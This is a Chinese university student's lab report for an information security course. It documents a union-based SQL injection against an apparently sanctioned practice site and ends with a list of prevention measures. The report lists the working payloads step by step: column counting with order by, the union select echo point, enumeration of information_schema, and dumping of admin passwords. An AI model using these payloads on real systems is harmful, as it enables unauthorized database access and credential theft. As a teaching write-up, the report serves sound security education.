**《信息安全基础》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | | 黄昊 | | **年级** | | 2020级 |
| **学号** | | 20204205 | | **专业、班级** | | 20计算机科学与技术（卓越）01 |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** | **2023/05/21** | | **实验地点** | | **DS1402** | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的  1. 学习并掌握SQL注入的基本原理和方法  2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  对以下网站进行SQL注入：  http://pu2lh35s.ia.aqlab.cn/  完成以下信息的获取：   1. 数据库名称 2. 数据库中的所有表的名称 3. 每个表中的字段数量以及字段名 4. 管理员用户密码   最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 三、实验原理  SQL注入指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾后，添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。而作为攻击者，实施SQL注入前首先需要找到注入点，然后判断可以实现的SQL注入类型，寻找回显点，之后，构造一系列SQL语句来实现SQL注入。 | | | | | | |
| 四、注入过程及结果  1.寻找注入点    如图，点击超链接后，可以发现网址后面多了?id=1    于是判断这里有可能成为SQL语句的注入点。输入http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2，界面无返回内容，表明报错，该点为注入点。    2.判断字段个数  现在输入?id=1 order by 1, ?id=1 order by 2, ?id=1 order by 3，前两个输出结果正常，有正常推文：    但直到输入?id=1 order by 3时，页面无内容，故字段个数为2.  3.寻找回显点  找到注入点和字段个数后，我们需要寻找页面上的回显点，输入：?id=1 and 1=2 union select 1,2，可以发现页面上出现了2    于是判断该点为回显点。  后面，我们只需要将2换成需要的sql语句，就能获取需要的信息。  4.获取数据库名  修改get请求为?id=1 and 1=2 union select 1, database()，可以获取数据库名maoshe    5.获取所有表的名称  修改get请求为?id=1 and 1=2 union select 1,table\_name from information\_schema.tables where table\_schema=database() limit 0,1，并尝试输入limit字句的第一个参数，如limit 1,1, limit 2,1，直到没有输出为止。按此方法可以获取表名admin,dirs,news,xss  7.每个表中的字段数量以及字段名  修改请求头为?id=1 and 1=2 union select 1,column\_name from information\_schema.columns where table\_schema=database() and table\_name='admin' limit 0,1，同样地，不断增加limit字句的第一个参数，直到没有输出为止，可以获取admin表的字段名；修改table\_name执行同样的操作，可以获取所有表的所有字段名  **admin: Id, username,password**        **dirs:paths**    **news:Id, content**      **xss:Id, user, pass**        8.管理员用户密码  最后一步是获取管理员用户密码。修改请求头为?id=1 and 1=2 union select 1,password from admin limit 0,1，按照同样的方法增大limit的第一个参数。可以获取如下密码：hellohack, zkaqbanban      然后依次找出用户名：admin, ppt领取微信      最终，我们再次归纳一下本次实验需要获取的信息：  1.数据库名称：maoshe  2.数据库中的所有表的名称:  admin, dirs, news, xss  3.每个表中的字段数量以及字段名:  admin: Id, username,password，字段数量为3  dirs:paths，字段数量为1  news:Id, content，字段数量为2  xss:Id, user, pass，字段数量为3  4.管理员用户密码  admin: hellohack  ppt领取微信: zkaqbanban  最后，我们归纳一下SQL注入的防范措施：  - 对于get表头，一定要校验输入是什么。  - 后端应采用预编译技术，即直接定好MySQL相关的查询操作语句，如:SELECT content FROM news WHERE Id=%s, 其中%s是从前端传回的数据，这样做可以避免前端传入SQL语句，发生不希望出现的操作。  - 发布版本前，应使用相关工具检测SQL注入的漏洞  -对特殊字符应进行转义处理  - 报错信息不要返回给前端页面。 | | | | | | |